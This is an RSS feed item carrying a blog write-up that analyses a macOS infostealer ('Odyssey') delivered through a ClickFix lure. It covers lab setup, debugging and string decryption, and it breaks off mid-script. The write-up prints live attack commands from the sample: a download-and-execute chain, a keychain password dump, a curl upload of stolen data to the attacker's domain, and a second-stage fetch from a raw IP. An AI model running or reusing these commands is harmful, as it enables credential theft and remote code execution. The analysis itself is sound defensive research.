<?xml version="1.0" encoding="UTF-8"?>
<rss  xmlns:atom="http://www.w3.org/2005/Atom" 
      xmlns:media="http://search.yahoo.com/mrss/" 
      xmlns:content="http://purl.org/rss/1.0/modules/content/" 
      xmlns:dc="http://purl.org/dc/elements/1.1/" 
      version="2.0">
<channel>
<title>0xlibris</title>
<link>https://0xlibris.net/</link>
<atom:link href="https://0xlibris.net/index.xml" rel="self" type="application/rss+xml"/>
<description>cybersecurity, CTF, reversing, malware</description>
<generator>quarto-1.9.38</generator>
<lastBuildDate>Mon, 22 Jun 2026 00:00:00 GMT</lastBuildDate>
<item>
  <title>Odyssey infostealer infection chain</title>
  <link>https://0xlibris.net/posts/odyssey_infostealer/</link>
  <description><![CDATA[ 






<section id="introduction" class="level2">
<h2 class="anchored" data-anchor-id="introduction">Introduction</h2>
<p>Over the past few days I have been reading <a href="https://taomm.org/">The Art of Mac Malware: The Guide to Analyzing Malicious Software</a> by Patrick Wardle. It’s an amazing book, and I really enjoyed it. To truly test the new knowledge, I needed real-world samples to analyze, so I asked my Mac’s homies for a fresh one. Unsurprisingly, the “sample” was a ClickFix attack from 4 days before.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/clickfix.png" title="cloudflare quick fix" class="img-fluid"></p>
<p>The page autocopies a b64 string that decodes into:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb1" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb1-1"><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">echo</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Loading please wait"</span></span>
<span id="cb1-2"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">curl</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-s</span> hXXps://nqowf<span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">.</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span>com/d/unix4011574 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> /tmp/unix001</span>
<span id="cb1-3"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">chmod</span> +x /tmp/unix001</span>
<span id="cb1-4"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">/tmp/unix001</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> /dev/null</span></code></pre></div></div>
<p>Luckily for me the campaign and domain were still up and running and I could download the sample.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb2" style="background: #f1f3f5;"><pre class="sourceCode sh code-with-copy"><code class="sourceCode bash"><span id="cb2-1"><span class="ex" style="color: null;
background-color: null;
font-style: inherit;">curl</span> <span class="at" style="color: #657422;
background-color: null;
font-style: inherit;">-s</span> hXXps://nqowf<span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">[</span><span class="ss" style="color: #20794D;
background-color: null;
font-style: inherit;">.</span><span class="pp" style="color: #AD0000;
background-color: null;
font-style: inherit;">]</span>com/d/unix4011574 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;</span> unix001</span></code></pre></div></div>
<p>The hash of the file is <a href="https://www.virustotal.com/gui/file/bab1b1743bbfc0b36565728d202415574028072054777260060cb524f798ca16">bab1b1743bbfc0b36565728d202415574028072054777260060cb524f798ca16</a> and at the time of analysis, it was detected by only 2 vendors.</p>
</section>
<section id="building-the-lab" class="level2">
<h2 class="anchored" data-anchor-id="building-the-lab">Building the lab</h2>
<p>This was my first time analyzing a macOS sample, and I had no idea how to set up a malware analysis lab. There are very limited resources on how to create a macOS sandbox, probably because VM creation technically violates Apple’s EULA, and most tutorials assume you already know the basics.</p>
<p>After several days of trial and error, I finally got a Tahoe VM running on QEMU hosted on my Linux machine. Awaiting that cease-and-desist from Apple! :fingers-crossed:</p>
<p>I used <a href="https://github.com/kohnakagawa/cidre-vm">cidre-vm</a> to install some tools.</p>
</section>
<section id="first-stage-payload" class="level2">
<h2 class="anchored" data-anchor-id="first-stage-payload">First stage payload</h2>
<section id="initial-static-analysis" class="level3">
<h3 class="anchored" data-anchor-id="initial-static-analysis">Initial static analysis</h3>
<p>I learned in “The Art of Mac Malware” that Mach-O binaries only contain code and data for a single architecture. The sample is a universal binary capable of running on both Intel 64-bit and Apple Silicon arm64.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb3-1">user@users-iMac-Pro malware % file unix001</span>
<span id="cb3-2">unix001: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]</span>
<span id="cb3-3">unix001 (for architecture x86_64):  Mach-O 64-bit executable x86_64</span>
<span id="cb3-4">unix001 (for architecture arm64):   Mach-O 64-bit executable arm64</span></code></pre></div></div>
<p>Individual binaries can be extracted with the lipo tool (xd)</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb4-1">user@users-iMac-Pro malware % lipo unix001 -thin x86_64 -output unix001_intel</span>
<span id="cb4-2"></span>
<span id="cb4-3">user@users-iMac-Pro malware % file unix001_intel </span>
<span id="cb4-4">unix001_intel: Mach-O 64-bit executable x86_64</span></code></pre></div></div>
<p>The file is not signed.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb5-1">user@users-iMac-Pro malware % codesign -dvvv unix001_intel </span>
<span id="cb5-2">Executable=/Users/user/Downloads/malware/unix001_intel</span>
<span id="cb5-3">Identifier=commandbuild-55554944c282f45ee8693d5abea39c6843c98d35</span>
<span id="cb5-4">Format=Mach-O thin (x86_64)</span>
<span id="cb5-5">...</span>
<span id="cb5-6">Signature=adhoc</span>
<span id="cb5-7">TeamIdentifier=not set</span></code></pre></div></div>
<p>Just like the ClickFix command, you need to grant execution permissions.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb6-1">user@users-iMac-Pro malware % chmod +x unix001_intel</span></code></pre></div></div>
<p>The strings of the sample don’t reveal much, perhaps some functions worth monitoring</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb7-1">user@users-iMac-Pro malware % strings - unix001_intel </span>
<span id="cb7-2">USER</span>
<span id="cb7-3">basic_string</span>
<span id="cb7-4">vector</span>
<span id="cb7-5">_fgets</span>
<span id="cb7-6">_fopen</span>
<span id="cb7-7">_fread</span>
<span id="cb7-8">_fseek</span>
<span id="cb7-9">_fwrite</span>
<span id="cb7-10">_getenv</span>
<span id="cb7-11">_pclose</span>
<span id="cb7-12">_popen</span>
<span id="cb7-13">_sleep</span>
<span id="cb7-14">_system</span>
<span id="cb7-15">...</span></code></pre></div></div>
<p>I like to always use Detect It Easy to understand a bit more about the binary:</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/die_intel.png" title="Detect It Easy on unix001_intel" class="img-fluid"></p>
<p>There is an interesting section worth examining.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/entropy.png" title="Entroy of unix001_intel" class="img-fluid"></p>
<p>This blog post is about trying new things, so now I will be testing IDA.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/graph_view.png" title="Graph view of main function with IDA" class="img-fluid"></p>
<p>The main function is a beast with what seems to be bloated code, but looking more carefully some patterns appear.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/pseudocode.png" title="Pseudocode in IDA" class="img-fluid"></p>
<p>This pattern is present everywhere, and makes the reading and understanding much more difficult. I’ll return to that later, but initially I focused on dynamic analysis to get some results.</p>
</section>
<section id="dynamic-analysis" class="level3">
<h3 class="anchored" data-anchor-id="dynamic-analysis">Dynamic Analysis</h3>
<p>It’s quite annoying that the code that decrypts and deobfuscates is not located in a single function. Instead, it’s placed everywhere making everything a mess.</p>
<p>But there are some juicy imports that deserve a breakpoint. The <code>_popen</code> is located at <code>0x100019AC8</code> and <code>_system</code> at <code>0x100019AE0</code>.</p>
<p>In macOS, there is the <code>lldb</code> debugger that is more or less the same as <code>gdb</code>. With the following commands, I can set up the breakpoints and configure them to automatically print register contents, hopefully already decrypted by the malware.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb8-1">(lldb) b 0x100019ae0</span>
<span id="cb8-2">Breakpoint 1: where = unix001_intel`symbol stub for: system, address = 0x100019ae0</span>
<span id="cb8-3">(lldb) b 0x100019ac8</span>
<span id="cb8-4">Breakpoint 2: where = unix001_intel`symbol stub for: popen, address = 0x100019ac8</span>
<span id="cb8-5">(lldb) breakpoint command add 1</span>
<span id="cb8-6">Enter your debugger command(s). Type 'DONE' to end.</span>
<span id="cb8-7">&gt; x/s $rdi</span>
<span id="cb8-8">&gt; DONE</span>
<span id="cb8-9">(lldb) breakpoint command add 2</span>
<span id="cb8-10">Enter your debugger command(s). Type 'DONE' to end.</span>
<span id="cb8-11">&gt; x/s $rdi</span>
<span id="cb8-12">&gt; x/s $rsi</span>
<span id="cb8-13">&gt; DONE</span></code></pre></div></div>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/lldb1.png" title="Debugging with lldb" class="img-fluid"></p>
<p>This successfully printed the decrypted strings before executing <code>popen</code> and <code>system</code>.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb9" style="background: #f1f3f5;"><pre class="sourceCode python code-overflow-wrap code-with-copy"><code class="sourceCode python"><span id="cb9-1">popen(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'sw_vers -productVersion | cut -d. -f1'</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'r'</span>)</span>
<span id="cb9-2">popen(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'sw_vers -productVersion | cut -d. -f2'</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'r'</span>)</span>
<span id="cb9-3">popen(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'security find-generic-password -ga "Chrome" 2&gt;&amp;1 &gt;/dev/null | sed -n "s/^password: </span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\"</span><span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">(.*</span><span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">\</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">)</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\"</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">/</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\1</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">/p"'</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'r'</span>)</span>
<span id="cb9-4">popen(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType'</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'r'</span>)</span>
<span id="cb9-5">system(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip'</span>)</span>
<span id="cb9-6">system(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">'curl -X POST  -H "buildid: ab49e43473f54d43956fb7133f974b99" -H "username: prior" --data-binary @/tmp/lksopo.zip https://nqowf.com/log'</span>)</span></code></pre></div></div>
<p>This reveals the malware’s intentions:</p>
<ol type="1">
<li>Version check</li>
<li>Extract Chrome’s password vault</li>
<li>System profiling to identify the host</li>
<li>Gather data and save it in <code>/tmp/lksopo</code></li>
<li>Compress folder as <code>/tmp/lksopo.zip</code></li>
<li>Exfiltrate to <code>https://nqowf[.]com/log</code></li>
</ol>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/tmp_lksopo.png" title="contents of /tmp/lksopo" class="img-fluid"></p>
<p>With just these two breakpoints, we’re missing a lot, but the intent is clear.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/tmp_lksopo_tree.png" title="/tmp/lksopo" class="img-fluid"></p>
</section>
<section id="network-configuration" class="level3">
<h3 class="anchored" data-anchor-id="network-configuration">Network configuration</h3>
<p>I configured a basic fake network with <code>inetsim</code> and <code>dnsmasq</code>, but TLS handshakes failed because the certificate wasn’t trusted and didn’t match the domains.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/lldb2_curl.png" title="Debugging with lldb. curl request" class="img-fluid"></p>
<p>To circumvent these issues, I redirected traffic on ports 80 and 443 to port 8080 with <code>iptables</code>, and ran <code>mitmproxy</code> in reverse mode.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb10" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb10-1">    ┌─────────────────┐</span>
<span id="cb10-2">    │       VM        │</span>
<span id="cb10-3">    |  HTTPS Request  |</span>
<span id="cb10-4">    └────────┬────────┘</span>
<span id="cb10-5">             │</span>
<span id="cb10-6">             │  :443</span>
<span id="cb10-7">             ▼</span>
<span id="cb10-8">    ┌─────────────────┐</span>
<span id="cb10-9">    │    iptables     │</span>
<span id="cb10-10">    │    REDIRECT     │</span>
<span id="cb10-11">    │   :443 → :8080  │</span>
<span id="cb10-12">    └────────┬────────┘</span>
<span id="cb10-13">             │</span>
<span id="cb10-14">             │  :8080</span>
<span id="cb10-15">             ▼</span>
<span id="cb10-16">    ┌─────────────────┐</span>
<span id="cb10-17">    │ mitmproxy :8080 │</span>
<span id="cb10-18">    │ Decrypt HTTPS   │</span>
<span id="cb10-19">    │ (cert trusted)  │</span>
<span id="cb10-20">    └────────┬────────┘</span>
<span id="cb10-21">             │</span>
<span id="cb10-22">             │  :80</span>
<span id="cb10-23">             ▼</span>
<span id="cb10-24">    ┌─────────────────┐</span>
<span id="cb10-25">    │   inetsim :80   │</span>
<span id="cb10-26">    │  (fake server)  │</span>
<span id="cb10-27">    └─────────────────┘</span></code></pre></div></div>
<p>After adding the mitmproxy certificate to the keychain, all the requests succeed with inetsim’s default HTML page.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/fake_domain.png" title="curl to fake.domain that returns the default inetsim html page" class="img-fluid"></p>
<p>Additionally, we can view the requests in mitmproxy.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/fake_domain_mitm.png" title="mitm view of fake.domain request exfiltrating lksopo.zip" class="img-fluid"></p>
</section>
<section id="letting-the-malware-run" class="level3">
<h3 class="anchored" data-anchor-id="letting-the-malware-run">Letting the malware run</h3>
<p>After solving the network issue, we can now continue capturing the decrypted <code>popen</code> and <code>system</code> commands:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb11" style="background: #f1f3f5;"><pre class="sourceCode python code-overflow-wrap code-with-copy"><code class="sourceCode python"><span id="cb11-1">system(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"rm -rf /tmp/lksopo"</span>)</span>
<span id="cb11-2">system(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"rm -rf /tmp/lksopo.zip"</span>)</span>
<span id="cb11-3">popen(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"curl -s http://192.253.248.181/api/v1/getscptraw"</span>, <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"r"</span>)</span>
<span id="cb11-4">system(<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"nohup &lt;html&gt;</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">  &lt;head&gt;</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    &lt;title&gt;INetSim default HTML page&lt;/title&gt;</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">  &lt;/head&gt;</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">  &lt;body&gt;</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    &lt;p&gt;&lt;/p&gt;</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    &lt;p align="</span>center<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"&gt;This is the default HTML page for INetSim HTTP server fake mode.&lt;/p&gt;</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">    &lt;p align="</span>center<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"&gt;This file is an HTML document.&lt;/p&gt;</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">  &lt;/body&gt;</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">&lt;/html&gt;</span><span class="ch" style="color: #20794D;
background-color: null;
font-style: inherit;">\n</span><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;"> &gt;/dev/null 2&gt;&amp;1 &amp;"</span>)</span></code></pre></div></div>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/syntax_error.png" title="syntax error in lldb for unexpected response" class="img-fluid"></p>
<p>Ups, not the expected response!</p>
<p>The <code>nohup</code> command ensures commands continue running after the user disconnects from the system. The expected command should look like this:</p>
<p><code>nohup {response from http://192.253.248.181/api/v1/getscptraw} &gt;/dev/null 2&gt;&amp;1 &amp;</code></p>
<p>The domain was still alive, so I have downloaded the second stage. It’s an osascript that executes an AppleScript.</p>
<p>At this point, there are several areas to explore:</p>
<ol type="1">
<li>Analyze the second stage payload</li>
<li>Complete the initial malware’s execution after downloading the next stage</li>
<li>Extract all the encrypted strings from the initial sample, not just the popen and system arguments</li>
</ol>
</section>
<section id="simulating-c2-communication" class="level3">
<h3 class="anchored" data-anchor-id="simulating-c2-communication">Simulating C2 Communication</h3>
<p>I created a mitmproxy Python script to return a simple <code>print</code> command and continue execution.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb12" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb12-1"><span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">from</span> mitmproxy <span class="im" style="color: #00769E;
background-color: null;
font-style: inherit;">import</span> http</span>
<span id="cb12-2"></span>
<span id="cb12-3"><span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">def</span> request(flow):</span>
<span id="cb12-4">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"/api/v1/getscptraw"</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> flow.request.pretty_url:</span>
<span id="cb12-5">        flow.response <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> http.Response.make(</span>
<span id="cb12-6">            <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">200</span>,</span>
<span id="cb12-7">            <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">b'print "continue"'</span>,</span>
<span id="cb12-8">            {<span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"Content-Type"</span>: <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"text/plain"</span>}</span>
<span id="cb12-9">        )</span></code></pre></div></div>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/fake_command.png" title="fake command response (print &quot;continue&quot;) in lldb" class="img-fluid"></p>
<p>ok so that was it.</p>
<p>Before moving on to the next stage, let’s finish analyzing the encrypted strings.</p>
</section>
<section id="decryption-and-obfuscation-analysis" class="level3">
<h3 class="anchored" data-anchor-id="decryption-and-obfuscation-analysis">Decryption and Obfuscation Analysis</h3>
<p>From our initial dynamic analysis, we’ve concluded that the sample is some sort of an infostealer. We know it collects data, packs it into a zip file and exfiltrates it to a specific URL. Then, it deletes its tracks and requests the second stage payload to another domain and executes it.</p>
<p>This is useful, but we’re not sure if it is doing something more under the hood. The binary was large enough to suggest additional functionality.</p>
<p>Recalling the obfuscation pattern:</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/pseudocode.png" title="Pseudocode in IDA" class="img-fluid"></p>
<p>This line is quite relevant, and a quick search identifies it as a xorshift32 PRNG.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb13" style="background: #f1f3f5;"><pre class="sourceCode c code-overflow-wrap code-with-copy"><code class="sourceCode c"><span id="cb13-1">v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;&lt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">13</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((</span>v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;&lt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">13</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">17</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">32</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;&lt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">13</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">((</span>v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;&lt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">13</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">))</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">17</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)))</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p>A more common representation is written across multiple lines:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb14" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb14-1"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 1. Standard xorshift32 steps</span></span>
<span id="cb14-2">v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^=</span> v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;&lt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">13</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-3">v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^=</span> v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&gt;&gt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">17</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb14-4">v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^=</span> v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&lt;&lt;</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">5</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span> <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// Equivalent to multiplying by 32</span></span>
<span id="cb14-5"></span>
<span id="cb14-6"><span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">// 2. Force the last bit to be 1</span></span>
<span id="cb14-7">v0 <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">|=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span></code></pre></div></div>
<p>The <a href="https://en.wikipedia.org/wiki/Xorshift">Wikipedia xorshift example</a> is exactly that.</p>
<p>To summarize, the deobfuscation/decryption routine consists of:</p>
<ol type="1">
<li>Initializing a 4 bytes seed</li>
<li>Iterate N bytes of some region of memory
<ol type="1">
<li>XOR the encrypted byte with the lowest byte of the seed</li>
<li>update the state of the seed with xorshift32</li>
</ol></li>
<li>return/save decrypted data</li>
</ol>
<p>The encrypted bytes are located in the high entropy section that we have seen before. This section (<code>4.__TEXT.__const</code>) starts at <code>0x10001b290</code> and its size is <code>0x321c</code>.</p>
<p>There are multiple ways to decrypt this data. We could place breakpoints everywhere and capture decrypted values, but since there’s no single decrypt function, it would be tedious. I think I’ll pass, I’ve already done enough dynamic analysis.</p>
<p>There is no “Best Tool”, so I like using multiple tools simultaneously. I was using IDA, but radare2 is always handy and has saved me more than once.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/r2_hexdump.png" title="radare2 hexdump" class="img-fluid"></p>
<p>Looking at this pretty hexdump in radare2, I noticed something odd: all encrypted strings end with 0x00? 0x0000?</p>
<p>Doing an xref from the first encrypted data, I finally understood what was happening. The seed (<code>0x7CCF26EB</code>) is at the begining of the encrypted data (little endian <code>eb26 cf7c</code>)! The next N bytes are the encrypted data, and I’m still unsure about the final byte before the null terminator.</p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/first_encrypted_str.png" title="Pseudocode in IDA" class="img-fluid"></p>
<p><img src="https://0xlibris.net/posts/odyssey_infostealer/img/r2_hexdump_2.png" title="radare2 hexdump" class="img-fluid"></p>
<p>Something like this:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb15" style="background: #f1f3f5;"><pre class="sourceCode python code-with-copy"><code class="sourceCode python"><span id="cb15-1">state <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x7CCF26EB</span></span>
<span id="cb15-2"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">for</span> i <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">in</span> <span class="bu" style="color: null;
background-color: null;
font-style: inherit;">range</span>(<span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">10</span>):</span>
<span id="cb15-3">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># XOR with lowest byte of state</span></span>
<span id="cb15-4">    data.append(encrypted_data[i <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">+</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">4</span>] <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">^</span> (state <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span> <span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0xFF</span>))</span>
<span id="cb15-5">    <span class="co" style="color: #5E5E5E;
background-color: null;
font-style: inherit;"># Update state of the PRNG</span></span>
